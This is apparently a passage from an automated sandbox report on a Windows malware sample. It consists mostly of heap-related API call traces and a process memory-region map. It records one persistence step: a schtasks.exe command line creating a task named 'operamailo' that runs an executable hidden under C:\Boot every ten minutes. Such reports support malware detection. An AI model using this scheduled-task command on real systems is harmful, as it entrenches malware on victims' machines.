Flags=0x0, MemoryPointer=0x30c170) returned 0x18 [0135.143] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c170 | out: hHeap=0x2f0000) returned 1 [0135.143] GetProcessHeap () returned 0x2f0000 [0135.143] GetProcessHeap () returned 0x2f0000 [0135.143] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ab0) returned 1 [0135.143] GetProcessHeap () returned 0x2f0000 [0135.143] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305ab0) returned 0x20 [0135.143] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ab0 | out: hHeap=0x2f0000) returned 1 [0135.144] GetProcessHeap () returned 0x2f0000 [0135.144] GetProcessHeap () returned 0x2f0000 [0135.144] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9a0) returned 1 [0135.144] GetProcessHeap () returned 0x2f0000 [0135.144] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b9a0) returned 0x2 [0135.144] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9a0 | out: hHeap=0x2f0000) returned 1 [0135.144] GetProcessHeap () returned 0x2f0000 [0135.144] GetProcessHeap () returned 0x2f0000 [0135.144] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305900) returned 1 [0135.144] GetProcessHeap () returned 0x2f0000 [0135.144] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305900) returned 0x20 [0135.144] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305900 | out: hHeap=0x2f0000) returned 1 [0135.144] GetProcessHeap () returned 0x2f0000 [0135.144] GetProcessHeap () returned 0x2f0000 [0135.144] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305930) returned 1 [0135.144] GetProcessHeap () returned 0x2f0000 [0135.144] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305930) returned 0x20 [0135.145] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305930 | out: hHeap=0x2f0000) returned 1 [0135.145] GetProcessHeap () returned 0x2f0000 [0135.145] GetProcessHeap () returned 0x2f0000 [0135.145] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305960) returned 1 [0135.145] GetProcessHeap () returned 0x2f0000 [0135.145] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305960) returned 0x20 [0135.145] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305960 | out: hHeap=0x2f0000) returned 1 [0135.145] GetProcessHeap () returned 0x2f0000 [0135.145] GetProcessHeap () returned 0x2f0000 [0135.145] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305990) returned 1 [0135.145] GetProcessHeap () returned 0x2f0000 [0135.145] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305990) returned 0x20 [0135.146] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305990 | out: hHeap=0x2f0000) returned 1 [0135.146] GetProcessHeap () returned 0x2f0000 [0135.146] GetProcessHeap () returned 0x2f0000 [0135.146] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb10) returned 1 [0135.146] GetProcessHeap () returned 0x2f0000 [0135.146] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cb10) returned 0x20 [0135.147] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb10 | out: hHeap=0x2f0000) returned 1 [0135.147] GetProcessHeap () returned 0x2f0000 [0135.147] GetProcessHeap () returned 0x2f0000 [0135.147] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d630) returned 1 [0135.147] GetProcessHeap () returned 0x2f0000 [0135.147] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d630) returned 0xa [0135.147] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d630 | out: hHeap=0x2f0000) returned 1 [0135.147] GetProcessHeap () returned 0x2f0000 [0135.147] GetProcessHeap () returned 0x2f0000 [0135.147] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb40) returned 1 [0135.147] GetProcessHeap () returned 0x2f0000 [0135.147] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cb40) returned 0x20 [0135.147] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb40 | out: hHeap=0x2f0000) returned 1 [0135.147] GetProcessHeap () returned 0x2f0000 [0135.147] GetProcessHeap () returned 0x2f0000 [0135.147] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307a20) returned 1 [0135.147] GetProcessHeap () returned 0x2f0000 [0135.147] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x307a20) returned 0x30 [0135.148] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307a20 | out: hHeap=0x2f0000) returned 1 [0135.148] GetProcessHeap () returned 0x2f0000 [0135.148] GetProcessHeap () returned 0x2f0000 [0135.148] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb70) returned 1 [0135.148] GetProcessHeap () returned 0x2f0000 [0135.148] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cb70) returned 0x20 [0135.148] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb70 | out: hHeap=0x2f0000) returned 1 [0135.148] GetProcessHeap () returned 0x2f0000 [0135.148] GetProcessHeap () returned 0x2f0000 [0135.148] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307aa0) returned 1 [0135.148] GetProcessHeap () returned 0x2f0000 [0135.148] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x307aa0) returned 0x30 [0135.149] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307aa0 | out: hHeap=0x2f0000) returned 1 [0135.149] GetProcessHeap () returned 0x2f0000 [0135.149] GetProcessHeap () returned 0x2f0000 [0135.149] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd50) returned 1 [0135.149] GetProcessHeap () returned 0x2f0000 [0135.149] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd50) returned 0x20 [0135.149] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd50 | out: hHeap=0x2f0000) returned 1 [0135.149] GetProcessHeap () returned 0x2f0000 [0135.149] GetProcessHeap () returned 0x2f0000 [0135.149] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d550) returned 1 [0135.149] GetProcessHeap () returned 0x2f0000 [0135.149] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d550) returned 0x10 [0135.149] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d550 | out: hHeap=0x2f0000) returned 1 [0135.149] GetProcessHeap () returned 0x2f0000 [0135.149] GetProcessHeap () returned 0x2f0000 [0135.149] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd20) returned 1 [0135.149] GetProcessHeap () returned 0x2f0000 [0135.149] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd20) returned 0x20 [0135.149] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd20 | out: hHeap=0x2f0000) returned 1 [0135.150] GetProcessHeap () returned 0x2f0000 [0135.150] GetProcessHeap () returned 0x2f0000 [0135.150] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d570) returned 1 [0135.150] GetProcessHeap () returned 0x2f0000 [0135.150] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d570) returned 0x10 [0135.150] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d570 | out: hHeap=0x2f0000) returned 1 [0135.150] GetProcessHeap () returned 0x2f0000 [0135.150] GetProcessHeap () returned 0x2f0000 [0135.150] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccf0) returned 1 [0135.150] GetProcessHeap () returned 0x2f0000 [0135.150] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ccf0) returned 0x20 [0135.150] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccf0 | out: hHeap=0x2f0000) returned 1 [0135.150] GetProcessHeap () returned 0x2f0000 [0135.150] GetProcessHeap () returned 0x2f0000 [0135.150] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d590) returned 1 [0135.150] GetProcessHeap () returned 0x2f0000 [0135.150] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d590) returned 0xe [0135.150] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d590 | out: hHeap=0x2f0000) returned 1 [0135.150] GetProcessHeap () returned 0x2f0000 [0135.151] GetProcessHeap () returned 0x2f0000 [0135.151] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccc0) returned 1 [0135.151] GetProcessHeap () returned 0x2f0000 [0135.151] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ccc0) returned 0x20 [0135.151] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccc0 | out: hHeap=0x2f0000) returned 1 [0135.151] GetProcessHeap () returned 0x2f0000 [0135.151] GetProcessHeap () returned 0x2f0000 [0135.151] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5b0) returned 1 [0135.151] GetProcessHeap () returned 0x2f0000 [0135.151] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5b0) returned 0x16 [0135.151] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5b0 | out: hHeap=0x2f0000) returned 1 [0135.151] GetProcessHeap () returned 0x2f0000 [0135.151] GetProcessHeap () returned 0x2f0000 [0135.151] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc90) returned 1 [0135.151] GetProcessHeap () returned 0x2f0000 [0135.151] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc90) returned 0x20 [0135.152] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc90 | out: hHeap=0x2f0000) returned 1 [0135.152] GetProcessHeap () returned 0x2f0000 [0135.152] GetProcessHeap () returned 0x2f0000 [0135.152] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5d0) returned 1 [0135.152] GetProcessHeap () returned 0x2f0000 [0135.152] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5d0) returned 0x16 [0135.152] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5d0 | out: hHeap=0x2f0000) returned 1 [0135.152] GetProcessHeap () returned 0x2f0000 [0135.152] GetProcessHeap () returned 0x2f0000 [0135.152] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc60) returned 1 [0135.152] GetProcessHeap () returned 0x2f0000 [0135.152] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc60) returned 0x20 [0135.152] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc60 | out: hHeap=0x2f0000) returned 1 [0135.152] GetProcessHeap () returned 0x2f0000 [0135.152] GetProcessHeap () returned 0x2f0000 [0135.152] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3299d0) returned 1 [0135.152] GetProcessHeap () returned 0x2f0000 [0135.152] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x3299d0) returned 0x82 [0135.153] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3299d0 | out: hHeap=0x2f0000) returned 1 [0135.153] GetProcessHeap () returned 0x2f0000 [0135.153] GetProcessHeap () returned 0x2f0000 [0135.153] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc30) returned 1 [0135.153] GetProcessHeap () returned 0x2f0000 [0135.153] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc30) returned 0x20 [0135.153] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc30 | out: hHeap=0x2f0000) returned 1 [0135.153] GetProcessHeap () returned 0x2f0000 [0135.153] GetProcessHeap () returned 0x2f0000 [0135.153] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d610) returned 1 [0135.153] GetProcessHeap () returned 0x2f0000 [0135.153] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d610) returned 0xe [0135.153] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d610 | out: hHeap=0x2f0000) returned 1 [0135.153] GetProcessHeap () returned 0x2f0000 [0135.153] GetProcessHeap () returned 0x2f0000 [0135.153] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc00) returned 1 [0135.153] GetProcessHeap () returned 0x2f0000 [0135.153] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc00) returned 0x20 [0135.154] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc00 | out: hHeap=0x2f0000) returned 1 [0135.154] GetProcessHeap () returned 0x2f0000 [0135.154] GetProcessHeap () returned 0x2f0000 [0135.154] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9c0) returned 1 [0135.154] GetProcessHeap () returned 0x2f0000 [0135.154] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b9c0) returned 0x18 [0135.154] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9c0 | out: hHeap=0x2f0000) returned 1 [0135.154] GetProcessHeap () returned 0x2f0000 [0135.154] GetProcessHeap () returned 0x2f0000 [0135.154] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059c0) returned 1 [0135.154] GetProcessHeap () returned 0x2f0000 [0135.154] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x3059c0) returned 0x20 [0135.154] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059c0 | out: hHeap=0x2f0000) returned 1 [0135.154] GetProcessHeap () returned 0x2f0000 [0135.155] GetProcessHeap () returned 0x2f0000 [0135.155] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059f0) returned 1 [0135.155] GetProcessHeap () returned 0x2f0000 [0135.155] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x3059f0) returned 0x20 [0135.155] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059f0 | out: hHeap=0x2f0000) returned 1 [0135.155] GetProcessHeap () returned 0x2f0000 [0135.155] GetProcessHeap () returned 0x2f0000 [0135.155] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a20) returned 1 [0135.155] GetProcessHeap () returned 0x2f0000 [0135.155] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305a20) returned 0x20 [0135.156] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a20 | out: hHeap=0x2f0000) returned 1 [0135.156] GetProcessHeap () returned 0x2f0000 [0135.156] GetProcessHeap () returned 0x2f0000 [0135.156] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a50) returned 1 [0135.156] GetProcessHeap () returned 0x2f0000 [0135.156] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305a50) returned 0x20 [0135.156] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a50 | out: hHeap=0x2f0000) returned 1 [0135.156] GetProcessHeap () returned 0x2f0000 [0135.156] GetProcessHeap () returned 0x2f0000 [0135.156] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9e0) returned 1 [0135.156] GetProcessHeap () returned 0x2f0000 [0135.156] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b9e0) returned 0x18 [0135.156] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9e0 | out: hHeap=0x2f0000) returned 1 [0135.156] GetProcessHeap () returned 0x2f0000 [0135.156] GetProcessHeap () returned 0x2f0000 [0135.156] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a80) returned 1 [0135.157] GetProcessHeap () returned 0x2f0000 [0135.157] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305a80) returned 0x20 [0135.159] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a80 | out: hHeap=0x2f0000) returned 1 [0135.159] GetProcessHeap () returned 0x2f0000 [0135.159] GetProcessHeap () returned 0x2f0000 [0135.159] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b10) returned 1 [0135.159] GetProcessHeap () returned 0x2f0000 [0135.159] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b10) returned 0x20 [0135.159] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b10 | out: hHeap=0x2f0000) returned 1 [0135.159] GetProcessHeap () returned 0x2f0000 [0135.159] GetProcessHeap () returned 0x2f0000 [0135.159] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b70) returned 1 [0135.159] GetProcessHeap () returned 0x2f0000 [0135.159] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b70) returned 0x20 [0135.160] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b70 | out: hHeap=0x2f0000) returned 1 [0135.160] GetProcessHeap () returned 0x2f0000 [0135.160] GetProcessHeap () returned 0x2f0000 [0135.160] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305bd0) returned 1 [0135.160] GetProcessHeap () returned 0x2f0000 [0135.160] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305bd0) returned 0x20 [0135.160] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305bd0 | out: hHeap=0x2f0000) returned 1 [0135.160] GetProcessHeap () returned 0x2f0000 [0135.160] GetProcessHeap () returned 0x2f0000 [0135.160] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c00) returned 1 [0135.160] GetProcessHeap () returned 0x2f0000 [0135.160] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c00) returned 0x20 [0135.161] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c00 | out: hHeap=0x2f0000) returned 1 [0135.161] GetProcessHeap () returned 0x2f0000 [0135.161] GetProcessHeap () returned 0x2f0000 [0135.161] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba00) returned 1 [0135.161] GetProcessHeap () returned 0x2f0000 [0135.161] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba00) returned 0x18 [0135.161] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba00 | out: hHeap=0x2f0000) returned 1 [0135.161] GetProcessHeap () returned 0x2f0000 [0135.161] GetProcessHeap () returned 0x2f0000 [0135.161] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b40) returned 1 [0135.161] GetProcessHeap () returned 0x2f0000 [0135.161] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b40) returned 0x20 [0135.161] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b40 | out: hHeap=0x2f0000) returned 1 [0135.161] GetProcessHeap () returned 0x2f0000 [0135.161] GetProcessHeap () returned 0x2f0000 [0135.161] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b980) returned 1 [0135.161] GetProcessHeap () returned 0x2f0000 [0135.161] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b980) returned 0x18 [0135.162] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b980 | out: hHeap=0x2f0000) returned 1 [0135.162] exit (_Code=0) Thread: id = 124 os_tid = 0xf34 Process: id = "20" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x4359e000" os_pid = "0xf38" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"operamailo\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2297 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2298 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2299 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2300 start_va = 0x1c0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2301 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2302 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2303 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2304 start_va = 0xffeb0000 end_va = 0xffef7fff monitored = 1 entry_point = 0xffed966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2305 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2306 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2307 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2308 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2309 start_va = 0x50000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2310 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2311 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2312 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2313 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2314 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2315 start_va = 0x240000 end_va = 0x2a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2316 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2317 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2318 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2319 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2320 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2321 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2322 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2323 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2324 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2325 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2326 start_va = 0x2b0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2327 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2328 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2329 start_va = 0x160000 end_va = 0x188fff monitored = 0 entry_point = 0x161010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2330 start_va = 0x3d0000 end_va = 0x557fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 2331 start_va = 0x160000 end_va = 0x188fff monitored = 0 entry_point = 0x161010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2332 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2333 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2334 start_va = 0x560000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 